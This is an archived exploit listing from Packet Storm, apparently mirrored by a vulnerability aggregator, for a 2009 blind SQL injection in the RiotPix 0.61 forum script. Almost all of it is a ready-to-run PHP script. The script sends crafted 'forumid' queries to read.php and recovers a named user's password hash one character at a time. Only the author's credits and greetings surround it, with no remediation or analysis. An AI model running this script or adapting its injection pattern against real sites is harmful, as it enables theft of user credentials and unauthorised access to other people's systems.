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RiotPix 0.61 Blind SQL Injection Exploit

🗓️ 07 Jan 2009 00:00:00Reported by cOndemnedType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 19 Views

Blind SQL Injection exploit in RiotPix 0.6

Code
`<?php  
  
/*  
  
$Id: riotpix-0.61.txt,v 0.1 2009/01/06 03:47:30 cOndemned Exp $  
  
RiotPix <= 0.61 (forumid) Blind SQL Injection Exploit  
Bug found && Exploited by cOndemned  
  
Download :  
  
http://www.riotpix.com/download/riotpix0_61.zip  
  
  
Description :  
  
It's just simple Blind SQL Injection exploit that gets  
password hash of given user. Code is really simple -   
without proxy, or error handling, but i don't think it is  
important, as long as the RiotPix isn't famous script...  
  
-------------------------------------------------------------------   
  
Greetz:   
  
ZaBeaTy, str0ke, sid.psycho & TWT, wojtus0007, 0in, vCore  
  
  
"...What is left to die for, what is left to give..."  
  
*/  
  
  
echo "\n[~] RiotPix <= 0.61 (forumid) Blind SQL Injection Exploit";  
echo "\n[~] Bug found && Exploited by cOndemned\n";  
  
if($argc != 4)  
{  
printf("[!] Usage: php %s <target_size> <username> <topic_id>\n\n", $argv[0]);  
exit;  
}  
  
list($sploit, $target, $username, $topicid) = $argv;  
  
$charsArr = array(48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 97, 98, 99, 100, 101, 102);  
$pos = 1;  
  
echo "[~] Password Hash : ";  
  
while($pos != 33)  
{  
for($i = 0; $i <= count($charsArr); $i++)  
{  
$query = "/read.php?forumid=$topicid+AND+SUBSTRING((SELECT+password+FROM+users+WHERE+username='$username'),$pos,1)=CHAR({$charsArr[$i]})--";  
$source = file_get_contents($target . $query);  
  
if(!eregi('existent', $source))   
{  
printf("%s", chr($charsArr[$i]));  
$pos++;  
break;  
}  
flush(STDOUT);  
}  
}  
  
echo "\n[~] Done\n\n";  
  
?>  
  
`

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07 Jan 2009 00:00Current
0.5Low risk
Vulners AI Score0.5
19